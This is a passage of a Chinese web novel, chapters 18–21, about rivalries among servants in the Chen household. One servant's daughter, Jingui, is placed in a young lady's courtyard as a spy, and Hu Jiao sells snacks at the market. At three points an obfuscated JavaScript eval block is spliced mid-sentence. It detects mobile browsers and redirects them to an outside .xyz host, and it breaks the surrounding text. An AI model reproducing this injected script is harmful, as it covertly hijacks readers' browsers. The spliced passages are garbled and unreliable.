“刘嫂子，你看，我家金桂也不小了，在家也是闲着。能不能，能不能也让她跟着豆哥儿去帮帮忙？也不要工钱，就是跟着学学本事，见见世面，顺带帮衬帮衬豆哥儿，毕竟豆哥儿年纪小不是？多个帮手也稳妥些嘛！” 见她如此，刘氏心里冷笑一声。早干嘛去了？以前阴阳怪气的时候，可没见你这么亲近。 但是面上却不动声色，只慢悠悠地道：“哦，你说这事儿啊。那是椒姐儿看春儿丫头在家闷得慌，孙阿嫂又是个厚道人，两家才搭个伙儿，让孩子们出去松散松散，顺便挣俩零花钱。也不是什么正经买卖，小打小闹罢了。” 瞥了一眼金桂娘有些僵住的笑容，刘氏又话锋一转。 “至于你家金桂……这买卖本小利薄，眼下有春儿一个帮手也尽够了。再说，这抛头露面的事，金桂娘你舍得？万一磕着碰着，可怎么好？我看还是算了吧。” “舍得舍得！有什么舍不得的！”金桂娘一听有门儿，连忙拍着胸脯保证。 “嫂子你是知道的，我家金桂老实本分，干活也麻利。她跟着去，你一百个放心，准保不给添麻烦。工钱不工钱的都好说，嫂子你看着给点就成。” 刘氏好悬没忍住骂出来。 这个厚脸皮的，果真叫椒姐儿给说中了。见着人家挣钱就跟苍蝇一样，闻着味儿就来了，赶都赶不走。 不过，她也没直接一口回绝了，而是打算好好耍她一下。 这也是胡姣同她说的。往日里，她总是单刀直入，直来直去的，虽然不曾吃亏，可也没得了好，还落个泼辣的名声。倒不如委婉一点，绵里藏针，面上不得罪人，还能出口气。 于是，笑着道：“这事儿我可做不得主，得先问问椒姐儿。你也知道，那丫头如今主意大着呢。等她下工回来，我跟她说说看。成不成的，我也不敢打包票。” 说完，也不等金桂娘再开口，便道：“家里还一堆活儿呢，我就不留你说话了。” 这下，金桂娘也不好死皮赖脸地待着了，只得眼睁睁看刘氏掩上了门。 接下来的两三天，金桂娘如同热锅上的蚂蚁，伸长脖子盼着刘氏能给她个准信儿。甚至还破天荒地让金桂送了一碗咸菜给刘氏。 刘氏倒是收下了咸菜，可提起让金桂去帮忙的事，依旧是那套说辞。 “问过椒姐儿了，她说眼下人手够了，买卖也刚起步，摊子小，实在用不上那么多人。等过两天再说吧。” 这话听着客气，实则推脱。金桂娘心知肚明，却又无可奈何，只能强笑着应承。 可这一等，就又是三四日过去。胡家那边毫无动静。每日清晨，依旧只有豆哥儿和春儿提着沉甸甸的竹筐，有说有笑的出门。中午回来时，竹筐空了，那些点心都化作了银钱进了两家的荷包。 金桂娘眼巴巴地看着，心里的那点期盼渐渐如同灶膛里的余火，一点点熄灭下去。她终于彻底明白过来——自己被刘辣子这婆娘给耍了，人家压根儿就没打算带她家玩儿！ 这念头一起，一股巨大的委屈和愤怒猛地冲上头顶。金桂娘只觉得眼前发黑，胸口堵得喘不上气。 她踉跄着冲回自家屋里，“砰”地一声摔上门，也顾不得金桂还在屋里，一头扑到炕上，“呜呜”地哭了起来，边哭边捶打着炕沿。 “杀千刀的刘辣子，黑心烂肺的，拿话溜我，耍着我玩！呜呜……看不起人……太欺负人了……呜呜呜……” 金桂被她娘这突如其来的嚎哭吓了一跳，茫然无措地站在炕边，想劝又不知如何开口，只能呆呆地看着她娘哭得上气不接下气。 金桂娘哭了足有小半个时辰，直哭得嗓子嘶哑、眼睛红肿。 恰在此时，院门外传来一个声音：“金桂他娘，金桂他娘在家吗？是我！” 说话的人是王婆子。她和金桂娘一样，都是在大房管洒扫的，也是金桂娘在这府里为数不多能说上几句话的相好。 金桂娘胡乱擦了把脸，哑着嗓子应道：“在呢，王妈妈快进来！” 王婆子推门进来，一见金桂娘那副狼狈样儿，再瞧瞧旁边怯生生的金桂，心里便猜到了七八分。 她也不消人让，自己在炕沿坐下，拍着大腿道：“哎哟，我的傻妹子，你这究竟是为了什么，就把自己气成这样？” 金桂娘一听这话，刚止住的眼泪又涌了上来，便把胡家如何耍她，如何只带孙家不带她的事添油加醋地说了一遍，末了恨恨道：“不就是仗着女儿在大厨房当差，学了几分手艺吗？瞧把她能的！我呸！有什么了不起！” 王婆子三角眼转了转，拍着她的手道：“妹子啊，不是我说你。光在这儿生闷气、抹眼泪儿顶什么用？能让你家锅里多一粒米，还是能让你家金宝多穿件新衣裳？” 金桂娘被她说得一怔。 王婆子继续点拨，语气带着几分恨铁不成钢。 “你呀，就是太实心眼儿！这府里想往上爬，想过好日子，光靠老实巴交、闷头干活儿可不行，你得找对靠山。” 她又用手指点了点旁边站着的金桂。 “你守着这么个水灵灵的大姑娘在家吃闲饭，不让她出去见世面、学规矩，将来能有什么出息？指望着天上掉馅饼，做梦呢！” 金桂娘有些纠结，她知道王婆子的意思，无非是让她也走路子送女儿金桂去府里当差。可家里银钱有限，她原打算攒着，等两年金宝大了，托人送他去二门上当个小厮的。若是给了金桂，那金宝可就落空了。而且，金桂在家能省她不少事儿，里里外外洗刷的活儿都是她干的，要是去了府里，说不得这些家务都得她自个儿来做了。 一旁的金桂瞧出她娘的犹豫，赶忙抓住机会表忠心。 “娘，您就送我去吧，我保证拿了月钱都给您，一个子儿也不留，以后家里的活儿也还是我来做，肯定不叫您累着。” 王婆子也帮着敲边鼓：“看看，孩子这话说的多懂事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159310|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿。你把她送进去，不过两三年这走路子的钱就又回来了，还白得一个差事，多划算呐。” 金桂娘也有些心动，只是仍旧迟疑道：“可这一时半会儿上哪儿找路子呢？” 王婆子等的就是她这句话，脸上随即露出一个意味深长的笑。 “这不是有你大娘我呢！我表侄王瑞，如今在二门上管事，他浑家姜氏，我那侄儿媳妇，也是个能人，便是三房李娘子跟前也能说得上话的。” 她顿了顿，又慢悠悠地道：“赶明儿个，我豁出这张老脸，带了你和金桂去她家，让她在中间递个话儿。只要李娘子肯点头，把金桂收进三房院儿里当差……那前程，不比跟着胡家那小崽子在市集上风吹日晒，挣那三瓜俩枣强百倍？” 金桂娘听得心头怦怦乱跳。李娘子那可是府里如今最体面的主子之一，若是金桂真能进三房当差…… 巨大的狂喜瞬间淹没了先前所有的憋屈和愤怒。 金桂娘一把抓住王婆子的手，声音激动：“王妈妈！我的好妈妈诶！您就是我们家的大恩人，这、这要是真能成，我给您立个长生牌位，日日求菩萨真人保佑您。” 王婆子得意地拍拍她的手：“行了行了，别说这些虚的。你好好拾掇拾掇金桂这丫头，让她机灵点儿。明儿个一早，咱们就去寻我那侄儿媳妇。” 金桂娘连声应下。送走了王婆子，又立刻翻箱倒柜，找出一件半新不旧的湖蓝色细布袄子递给金桂，嘴里还不停地念叨着。 “金桂啊，娘的好闺女，明儿个可千万争气！见了姜婶子和李娘子，嘴要甜，这可是天大好机会呢。进了三房，吃香的喝辣的，穿金戴银，将来再许个好人家，咱们娘儿几个就熬出头了。听见没？” 金桂被她这突如其来的热情弄得有些不知所措，但“穿金戴银”、“吃香喝辣”这几个字还是听了进去，重重点了点头，又说了许多将来要孝敬娘照顾弟弟的话。 听了金桂的一番保证，金桂娘头一次觉得自己这女儿还挺顺眼的。 第二天上午，王婆子果然如约而至。金桂娘赶紧拉着打扮一新的金桂，亦步亦趋地跟着王婆子，一路穿宅过院，来到了陈府外王管事家的小院。 王瑞的媳妇姜氏，正坐在屋檐下的小杌子上，磕着瓜子晒太阳。 她今日穿了件簇新的水红色绸缎夹袄，头上插着一支亮闪闪的银簪子，脸上敷着薄粉，瞧着很是精神。见王婆子带着两个生面孔进来，她屁股都懒得抬一下。 “哟，姑妈来了？这二位是？”姜氏吐掉瓜子壳，慢悠悠地问。 她最瞧不上这王婆子，仗着和王瑞有几分亲戚关系，隔三差五过来打秋风。今儿来要一条鱼，明儿来借刀肉的。偏那个冤家念着自己死了的爹和她是表兄妹，沾着亲，总是抹不开脸。 今儿，若不是怕王瑞回来知道，面上不好看，她都想把这几个赶出去，没得沾了穷酸气。 王婆子满脸堆笑，拉着金桂娘的手，上前一步，语气亲热。 19. 第 19 章 “瑞哥儿家的，这是老婆子的一处当差的金桂娘和她闺女金桂。这不，金桂这丫头眼瞅着大了，她娘想给她在府里找个正经差事，学学规矩，将来也好配人。想着你人面广，心肠热，又最是肯提携人的。就求到我这儿，央我领她们来给你磕个头，请你帮着在三娘子跟前美言几句，给金桂谋个前程。” 姜氏白眼都要翻到天上去。果然，这老婆子来准没好事儿，今儿更是狮子大开口，还想着去三娘子那里。恁大脸，也不怕折了自己的寿。 于是，皮笑肉不笑地说道：“姑妈可是来得不巧了，三娘子那里近来不缺人手呢，便是我去也无用。” 听到这话，金桂娘心一下子就沉了下去。 王婆子还是陪着笑继续道：“旁人说这话也就罢了，可谁不知道瑞哥儿家的你是三娘子跟前得脸的，又和她沾着亲，若是在寻常人家，三娘子还该叫你一声表姐呢。我常说我们瑞哥儿找了你这么个媳妇，可真是祖上积了德了。” 这话捧得姜氏心头熨帖，倒也没急着赶她们走了。 王婆子再接再厉，继续道：“原也不敢劳烦你，可这娘儿俩家里实在艰难，金桂她爹走的早，留下孤儿寡母受人欺负，老婆子瞧着于心不忍，就想起你是个最怜贫惜弱的，这才带着求到你跟前来。” 金桂娘也就坡下驴，立刻拉着金桂，“噗通”一声跪倒在地，对着姜氏结结实实磕了个头，把自家如何困难，又如何被刘氏戏耍的事情说了一番，直说的声泪俱下，又连声哀求让姜氏“可怜可怜，指条明路”。 说着，还悄悄在金桂腰上掐了一把。金桂吃痛，连忙也跟着磕头流泪。 姜氏本不想管这档子事儿，只打算糊弄两句就打发她们走，天底下可怜人多了去了，她难不成还个个儿都要帮一把？可后来听到胡家、刘氏，旧怨一时涌上心头。 原来，那日从下人院回来之后，王瑞就狠狠责打了来哥儿，直打的他屁股上一条条血印子肿的老高，几天都没下地。姜氏心疼坏了，要和王瑞撒泼，可他却说她只管闹，闹得人尽皆知，梅娘子怪罪下来，一家子都别过了。又怪她平日里纵容来哥儿太过，才养成他这么个无法无天的性子，若是日后闯下大祸来，只怕她现挂绳子上吊都来不及。 一番话好悬没将她气死。自打她嫁了来，王瑞成了二门上管事，自己又有三房这门关系，到哪儿不是被人捧着，何尝有过这般憋屈的时候？于是心里越发的恨胡姣一家。只是王瑞一再警告不许她出手，才一直忍着。如今，这金桂娘倒是送上门来了…… 姜氏的目光在金桂身上挑剔地扫了几个来回。这丫头身量倒是苗条，模样也算周正，就是畏畏缩缩的，一股子小家子气。不过，她家既然和胡家不对付，只这一条，她便搭把手也无妨。 慢条斯理地又磕了颗瓜子，姜氏才抬了抬手：“行了行了，起来吧。这大礼我可受不起。都是府里的老人儿了，能帮衬的自然要帮衬。” 她顿了顿，看着金桂母女惊喜地站起身，才慢悠悠地道：“要说机会么……眼下倒真有一个。我们三娘子房里管针线的前几日刚出去一个，正缺人呢。三娘子性子爽快，对下人也大方，最是和善不过。” 金桂娘一听，眼睛都直了，激动得差点站不稳。 姜氏看她那样，心中暗笑上不得台面，面上却是不显，继续道：“你们来得倒也巧。待会儿我正好要去三娘子院儿里，就顺带捎上金桂丫头，去给三娘子磕个头。成不成的，可就看她的造化了。” “哎哟，多谢姜婶子，多谢姜婶子！”金桂娘喜出望外，拉着金桂又要跪下磕头，被姜氏拦住了。 “行了，甭谢了。”姜氏站起身，掸了掸衣襟，“咱们这就走吧，这会儿三娘子估摸着是刚用完早食，还有些空儿，要是再晚一会儿，怕不一定能见上呢。” 金桂娘连忙将女儿往前推，又小声叮嘱她跟着姜氏，机灵点儿。金桂连连点头。 姜氏带着金桂，一路穿廊过院，直奔三房李娘子所居的“丹桂苑”。刚至院门前，就有眼尖的小丫头进去通报。不多时，便有一个穿着石青色缠枝纹比甲，头发梳得一丝不苟的妇人迎了出来，正是李娘子的心腹陪房廖妈妈。 “哟，王瑞家的来了？”廖妈妈脸上挂着笑，目光在金桂身上飞快一扫，便又落在了姜氏脸上。 “娘子刚用了盏杏仁茶，正歪在榻上歇神呢。你这会儿子来，是家里有事，还是……” 姜氏堆起满脸笑，亲热地凑近一步。 “廖妈妈安好。今儿倒不为别的，原是我家里一个表亲的丫头，叫金桂，模样还算周正，手脚也勤快，如今年纪大了，还没个差事，她娘求到我这儿。我想着咱们院儿里正缺个针线丫头，怕娘子一时不得用，便领了她来给娘子磕个头，请娘子瞧瞧。若是有缘份，能留在咱们三房院儿里学学规矩，也是她的造化。” 说着，暗暗推了金桂一把。金桂赶忙也笨拙地给廖妈妈行了个礼。 廖妈妈闻言，脸上笑容不变，眼底却闪过一丝轻慢。 这姜氏自诩是姜小娘的侄女，和三房沾亲，惯爱往娘子跟前凑。娘子虽面上和气，其实心里也不大瞧得上她。只是碍着三爷的面子，不好太落她的脸，每每来都好生招待，倒养得她胃口越发大了。 “你有心了。”廖妈妈声音依旧温和，“只是娘子今儿身子有些乏，精神头儿短。你也知道，如今咱们府里的事儿，二房那边管着一部分，咱们娘子也管着一部分，千头万绪的，可是不得闲呢。” 她顿了顿，继续道：“至于这添人的事儿，还得容老婆子先进去回禀一声，娘子若得空见，自然是这丫头的福气；若不得空，你也莫要见怪才是。” 姜氏脸上的笑僵了僵，心里暗骂这老货刁滑拿大，嘴上却只连声道：“应该的，劳烦妈妈辛苦一跑趟。” 廖妈妈点点头，转身进了正屋。也不知具体说了些什么，约莫半盏茶的功夫，她又出来了，脸上笑容深了些。 “王瑞家的，娘子说叫你带着这丫头进来说话。” 丹桂苑正房东次间内，暖香袭人。 李娘子斜倚在临窗的贵妃榻上，一身簇新的海棠红撒金裙衬得她肤光胜雪。 “给三娘子请安！”姜氏忙拉着金桂跪下磕头。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164070|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来吧。” 李娘子声音带着点慵懒，随手用小银叉子叉了块银盘里切好的蜜瓜，放入口中，“姜嫂子，这就是你说的那丫头？抬起头来我瞧瞧。” 金桂依言怯生生地抬起头，紧张得手都不知道该怎么放。 “嗯，模样倒还过得去。”李娘子吃完蜜瓜，才慢悠悠地道，“就是瞧着有些木。廖妈妈，你说呢？” 廖妈妈立刻笑着接话：“娘子说的是。不过看着倒是个老实本分的，手脚想必也勤快。如今府里事多，各房人手都紧，尤其是几位小主子那里，粗使丫头总是不够数儿。前儿，老婆子还听说二姑娘院儿里的一个洒扫丫头，干活儿不尽心，院子里的枯枝败叶都堆成山了，咱们二姑娘又是个极爱洁净的，瞧见了，生了好大的气。” “哦？还有这种事？丫头不中用撵了便是，既是蓁娘院里缺人……”李娘子故作沉吟，指尖点了点榻上小几。 “也罢，姜嫂子引荐的人，想必错不了。廖妈妈，你待会儿就带这丫头去二姑娘院儿里，交给管事的周妈妈，就说前头那个丫头不得用，让她顶了空缺，做个三等洒扫丫头吧。” 姜氏原本以为李娘子会将金桂安排到三房院里，谁知却又冒出个二姑娘，这其中的官司她想不通。不过无论哪里都好，自己带她来这一遭，目的已经达到了。于是当下就让金桂给李娘子磕头。 李娘子挥挥手，并不以为意。 “行了，去吧。廖妈妈会好生安排的。” 姜氏喜滋滋地领着金桂出去了。哪里知道，她此番前来是渡船恰遇顺帆风。 李娘子正愁没机会往二房那边安插个不起眼的眼线。蓁娘是梅娘子的长女，她院里的动静，自然十分重要。 这金桂看着胆小怯懦，又是姜氏这蠢货引荐来的，正合适。即便将来出了纰漏，也牵连不到她的头上。 这也怨不得她，形势比人强，她不踩别人一脚就要被别人踩。这府里看着是一团和气，可实际上却是乌眼鸡似的，恨不得你吃了我我吃了你。 就比如她这管家权从哪里来的？还不是从二房梅娘子手里抠出来的。当然，这里面也少不了婆婆陈老娘的助力。 想当年陈二郎只是个小小知县，仰仗岳家梅翰林甚多，陈老娘自然把中馈全权交与梅娘子，处处捧着她。可如今陈二郎官运亨通，已升任润州推官，听说考评极佳，眼见着又要高升。陈老娘心中便生出许多不甘。 她自己不便直接出手与能干又出身高贵的二儿媳妇打擂台，便默许甚至暗中扶持性子张扬却好拿捏的三房娘子，让她分了梅娘子一部分管家之权，以形成制衡。 李娘子得了势，又仗着陈老娘的默许，以及自家男人虽是庶子却颇得陈老爹喜爱的微妙地位，自然想着更进一步。 更重要的是，三房至今无子嗣，虽不知是何缘故，可将来二老一旦归西，这偌大家业便都便宜了二房的晖哥儿。她可不得趁着二老在世的时候，多捞一些。 往二姑娘蓁娘院里安插个不起眼的洒扫丫头，只是窥探二房动向的一步棋。至于金桂和姜氏，都不过是正好撞上来，顺势被她利用罢了。 20. 第 20 章 廖妈妈引着姜氏和金桂办完事，从蓁娘院儿里出来。到了一个僻静的回廊转角处，廖妈妈停下脚步，目光扫过金桂，状似不经意地说着。 “二姑娘院儿里规矩大，不比别处。今后当差手脚勤快些，眼里要有活儿。该看的看，不该看的，都当没看见。若是有什么新鲜事儿，也常来跟老婆子说说。咱们娘子心善，最是体恤下情，知道谁忠心、谁得用，定不会亏待了。” 姜氏很快听懂了廖妈妈的弦外之音。当下拍着胸脯保证金桂肯定用心当差，不辜负李娘子的厚爱。 廖妈妈见她识趣也不再多说什么，自己回丹桂苑复命不提。 看着她走远，姜氏才拉过还懵懂着的金桂，细细叮嘱去了二姑娘院儿里要多听多看少说话，有什么动静立刻来禀告廖妈妈。 金桂这时也有些回过味儿来了，这是要她去当眼线？她能行吗？ 带着忐忑不安的心思，金桂跟着姜氏回了她家。 金桂娘还在姜氏家里等着，好不容易等到姜氏回来，她立刻扑上去，急切地问：“姜婶子，如何了？三娘子可收下金桂了？” 姜氏端起架子，坐下来慢悠悠地喝了口水，才道：“收下了。咱们三娘子最是心善，看在我的薄面上，把金桂安排到二姑娘院儿里了，以后金桂就是三等洒扫丫头了。” “二姑娘院儿里？”金桂娘先是一愣，随即一股狂喜涌上心头。 虽说只是个洒扫丫头，但那可是二房嫡长女的院子。金桂能进那里当差，岂不是一脚踏进了福窝窝？她仿佛已经看到金桂穿着体面、月钱丰厚的未来了。 “哎哟！我的好婶子，您可真是我们金桂的再生父母！” 金桂娘激动得语无伦次，恨不得再次给姜氏跪下。 “二姑娘院儿里，那可是顶顶体面的地方，金桂能进去，全是托了您的福啊！” 她一边说着千恩万谢的话，一边手忙脚乱地从怀里掏出一个早已备好的荷包塞进姜氏手里。 “这点子心意，婶子别嫌弃，千万收下，您的大恩大德，我们娘儿俩这辈子都记着！” 姜氏摸了摸荷包，是碎银子，估摸着得有个四五两，脸上这才露出点真心的笑。 她顺势把钱袋拢进袖中，面带笑容道：“都在一个府里当差，你又是姑妈介绍来的，说谢就生分了，不过互相帮衬罢了。” “只是，”她语气一转，继续道：“听你说，仿佛与那刘辣子家有些不愉快？不瞒你说，我也不喜她的为人，先前我们来哥儿和她家椒姐儿不过为着件小事，有些口角，她倒上纲上线起来，我家那个冤家回来把来哥儿狠狠打了一顿，我这心里就疼得厉害。” 金桂娘是知道这两家的官司的，可这会儿说给她听做什么？ 见金桂娘没听明白，姜氏心里暗骂她蠢，又不得不继续挑明道： “他家惯是个欺软怕硬的，从前你家没个体面差事，所以才欺你耍你，如今金桂去了二姑娘那里，可不比他家那个椒姐儿强上许多？ 要我说，你尽可以拿出款儿来，给她些颜色瞧瞧才是，不然她还只当你好欺呢。便是府里其他人见了，也只说你是个泥捏的，没点儿脾性。” 说罢，一壁喝水，一壁偷偷拿眼瞧金桂娘的反应。 金桂娘本不是个聪明的，又受了姜氏大恩，此刻对她的话哪儿有不应的，于是忙不迭地表示自己绝不会让刘辣子一家好过，又说以后如果有什么差遣只管让人来喊。 见她如此上道儿，姜氏满意地点点头。 从姜氏那里回来，金桂娘只觉扬眉吐气，腰杆子都挺了几分。 恰在这时，王婆子又颠颠儿地来了，一进门就满脸堆笑。 “哎哟，大妹子，我听说事儿成了，金桂进了二姑娘院儿里？这可真是天大的造化。再过两年把金宝、金铃也送进府里去，你呀，就等着享福吧。” 一番话说得金桂娘眉开眼笑，连忙把她让进屋，好茶好水地招待，嘴里不住地感谢。 “全仗王妈妈您在中间牵线搭桥，要不然姜嫂子认识我们是哪个呢。您就是我们家的贵人，快坐快坐！” 王婆子坐下，一边喝着水，一边眼神在金桂娘脸上身上溜了一圈，嘴里啧啧有声。 “看看，人逢喜事精神爽。金桂有了这好前程，你这当娘的苦日子可算熬出头了。往后啊，吃香的喝辣的，享不尽的福气。” 她话锋一转，叹了口气，“唉，看到你，我就想起自己。老头子走的早，也没福气留下个一儿半女的。自己腿脚也不利索，跑几步路，就浑身疼，这往后啊，还不知道怎么着呢。” 金桂娘虽蠢，却也不是个不通人事的，早听明白了王婆子的意思。这是觉得事情成了，找她来要好处来了。 虽有些肉疼，可也不得不打点。于是从贴身口袋里摸出几十个铜钱，塞进王婆子手里。 “王妈妈，这几个钱您别嫌少，千万拿着，打两角酒喝。改明儿金桂出息了，我再让她给您老做鞋做衣裳穿。” 王婆子捏着那几十个铜钱，心里有些嫌金桂娘小气，但一想到蚊子腿也是肉，脸上还是笑眯眯的，不过假意推辞两句便收下了。又说了些“金桂将来必定前程似锦”的吉利话，心满意足地告辞离去。 送走了王婆子，金桂娘想起姜氏的话，于是特意换上了一件没有补丁的酱色夹袄，头发梳得溜光水滑，扭着腰就出了门，直奔胡家而去。 刘氏正坐在自家门口，借着天光缝补豆哥儿磨破的裤子。 “刘嫂子，忙着呢？” 金桂娘声音拔得老高，生怕别人听不见似的。 刘氏见是她，眼皮都不抬，手里的针线不停，只从鼻子里哼了一声。 金桂娘也不介意，自顾自地走到近前，假模假式地叹了口气。 “给豆哥儿缝衣服呢吧？唉，当娘的真是操不完的心。就比如我们家金桂吧，从前在家的时候不觉着，这如今要去府里了，我还怪担心的。” 刘氏依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176847|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧没抬头，仿佛没听见她的炫耀。 胡姣早叮嘱过她，不要和金桂娘起冲突，只要没闹的太过，权当她在放屁就行。 这反应完全不符合金桂娘的预期，她只觉得自己一拳打在了棉花上，憋得难受。 于是，继续高声道：“其实也是我瞎操心，毕竟这差事旁人求还求不来呢。还是托了王管事家姜嫂子的福，把我们金桂引荐给了三娘子。 三娘子亲自瞧了人，哎哟，那个和气！当下就把金桂安排到二姑娘院儿里当差去了。啧啧，那可是顶体面的地方，月钱足足有二百文呢，虽说是个管洒扫的，比不得大丫鬟，可也比烧火搬柴强多了，你说是吧？” 刘氏终于停了针，抬起头，像看傻子一样看着她，一脸的莫名其妙。 “你家金桂去哪儿当差，关我屁事？跟我这儿显摆个什么？还是说二百文月钱就烧得你找不到北了？有这闲工夫，不如回去把你家的脏衣服洗洗，什么事儿都使唤闺女，你也不亏心。” 说完，低下头，继续飞针走线，再不理会她。 金桂娘被刘氏这通抢白噎得满脸通红，一口气堵在嗓子眼，上不去下不来。她正想再掰扯几句，孙阿嫂家的门“吱呀”一声开了。 孙阿嫂端着个簸箕出来倒炭灰，正撞见这一幕。她素来看不惯金桂娘那副轻狂样儿，又因为孙、胡两家合伙做吃食生意，自然站刘氏这一边。 当即嗤笑一声，凉飕飕地开口：“哎哟，我当是谁在这嚷嚷呢。二姑娘院里的洒扫丫头？嗬，好大的体面，不知道的还以为是去做二姑娘的陪嫁大丫头呢！ 金桂娘，你女儿是去扫地的，不是去做主子的，醒醒吧，别在这儿丢人现眼了，赶紧回去把脏衣服洗了是正经。” 这话如同一记响亮的耳光，狠狠扇在金桂娘脸上。她气得浑身发抖，指着孙阿嫂和刘氏：“你、你们，狗眼看人低！” 然而，一打二，她也说不出什么有力的话，只得一跺脚，扭身回了家。 傍晚，胡姣从大厨房下工回来，刚走到自家院门口，就被春儿神神秘秘地拉到一旁。 “椒姐儿，金桂要去二姑娘院儿里当差了。” 她把白天从孙阿嫂那里听来的话学了一遍，又说了金桂娘来寻刘氏晦气结果把自己气跑了的事儿，末了大人似的叹了口气。 “这金桂娘是不是脑子不大好啊，怎么总是来找你娘麻烦，明明说不过，偏不长记性，次次都被气回去。” 胡姣也挺无语的，这金桂娘还真是像打不死的小强。 不想提这个让人膈应的，胡姣和春儿说明天她轮休，打算和她们一起去市集卖点心。 春儿听了，十分高兴，她本就佩服胡姣小小年纪就能独当一面，如今又跟着胡家一起做生意，心里对她简直比亲姊妹还要亲。她娘还总让她跟着胡姣学学说话做事，这可不就是个现成机会？于是忙不迭地应了。 第二天一早，三个豆丁就各挎着一个竹篮子往南市口走去。 21. 第 21 章 早市上，到处是叫卖的小贩，吆喝声此起彼伏，汇成一片生机勃勃的喧闹。 豆哥儿熟门熟路，引着胡姣和春儿来到他们平日摆摊的老地方。 旁边卖菜的婆子正忙着整理摊子，见豆哥儿身后跟了个面生的小娘子，便笑着搭话：“豆哥儿，怎的今儿个还带了帮手来？这小娘子瞧着倒俊俏，是你什么人呐？” 豆哥儿挺起胸膛，与有荣焉道：“徐婆婆，这是我姐姐，我们往日卖的点心果子，都是我姐姐琢磨出来的哩！” 那徐婆婆闻言，将胡姣上下打量一番，见她虽穿着半旧布衣，却眉眼沉静，举止利落，不由得连连点头，真心赞道：“哎哟，真是好模样，好巧手！没想到小娘子年纪轻轻就有这般本事。” 胡姣被夸得有些不好意思，微微抿嘴一笑：“哪里值当婆婆夸，不过是胡乱做些吃食，混口饭吃罢了。” 说着，便手脚麻利地和春儿、豆哥儿一起将竹篮里的点心一一取出，整齐摆开。 刚支开摊子没多久，几个熟客便过来了。一位常来的大婶一眼瞧见胡姣，笑着对豆哥儿道：“小哥儿，这想必就是你常挂在嘴边的姐姐吧？今日可算见着真人了。” 正说笑着，那位惯爱淘换新鲜吃食的郑大官人又摇着扇子踱了过来。他今日穿一身宝蓝色绸缎长衫，更显得富贵逼人。见到摊子上多了个眼生的清秀小娘子，也不由得多看了两眼。 于是笑着招呼豆哥儿、春儿，又问胡姣是谁。豆哥儿忙又介绍了一遍。 郑大官人听罢，笑道：“原来是正主儿来了。你家这几样点心，我家那几个皮猴儿爱吃得紧，日日念叨。今儿还是老规矩，焦糖米花、怪味花生各来五包，海棠冻也来八筒。” 他出手阔绰，一口气要了这许多。豆哥儿和春儿喜滋滋地赶忙包好。 郑大官人付了钱，却并未立刻离开，对胡姣道：“小娘子，你这点心滋味确是独特，我家老太太都赞了几句。只是，卖来卖去总是这三样，日子久了，再好吃也难免腻烦。不知可还有别的新鲜花样？” 胡姣心中正有此意，闻言便顺势道：“郑官人所言极是。不瞒您说，小女近日也在琢磨几样新点心，只是火候还未到，不敢轻易拿出来售卖。待过些时日琢磨透了，必定先请郑官人品鉴品鉴。” 郑大官人闻言，脸上笑意更深：“哦？果真如此？那我可就静候佳音了！” 他又想了想，补充道，“若是能做些更精细、更耐放的，便于携带馈赠，那就更好了。” 胡姣连连点头，将他的建议一一记下。见郑大官人如此爽快，她便从摊子上拿起一包焦糖米花，笑着递过去。 “承蒙郑官人多次关照，这包米花您拿着，给家里哥儿姐儿尝个鲜，不值什么，全当小女一点心意。” 郑大官人虽不缺这点东西，但见胡姣如此会做人，心下也觉舒坦，笑着接过。 “小娘子太客气了。那我就却之不恭了，等你新品出炉，定来捧场！” 这时，旁边一个生面孔的妇人见胡姣白送了郑大官人一包米花，也凑上前来，指着摊子道：“小娘子，我也买了不少，怎的不见你送我些？” 胡姣抬眼看去，见这妇人眼生，方才也只买了一包米花和一筒冻子，此刻却腆着脸要饶头。她心中不喜，但也不想当面得罪人，便笑着解释道： “这位婶子，实在对不住。咱们是小本生意，利润微薄。这米花是买三包才送一包的，您买的数目……实在不好破例。要不您再看看，再多买两包米花，我立刻给您饶上一包？” 那妇人一听，脸立刻拉了下来，撇嘴道：“啧，一包破米花才值几个钱？瞧你那个小气劲儿！白送人家阔佬倒舍得，轮到我们穷苦人就要三包才送？分明是瞧不起人。罢了罢了，谁稀罕你这点贱物！” 说罢，拿起自己买的东西，扭身就走，嘴里还不干不净地嘟囔着。 春儿气得脸都红了，想要争辩几句，被胡姣轻轻拉住。 “算了，春儿姐，市集上什么样的人都有，为这种人生气不值当。”胡姣神色平静，继续招呼其他客人，“咱们做咱们的生意便是。” 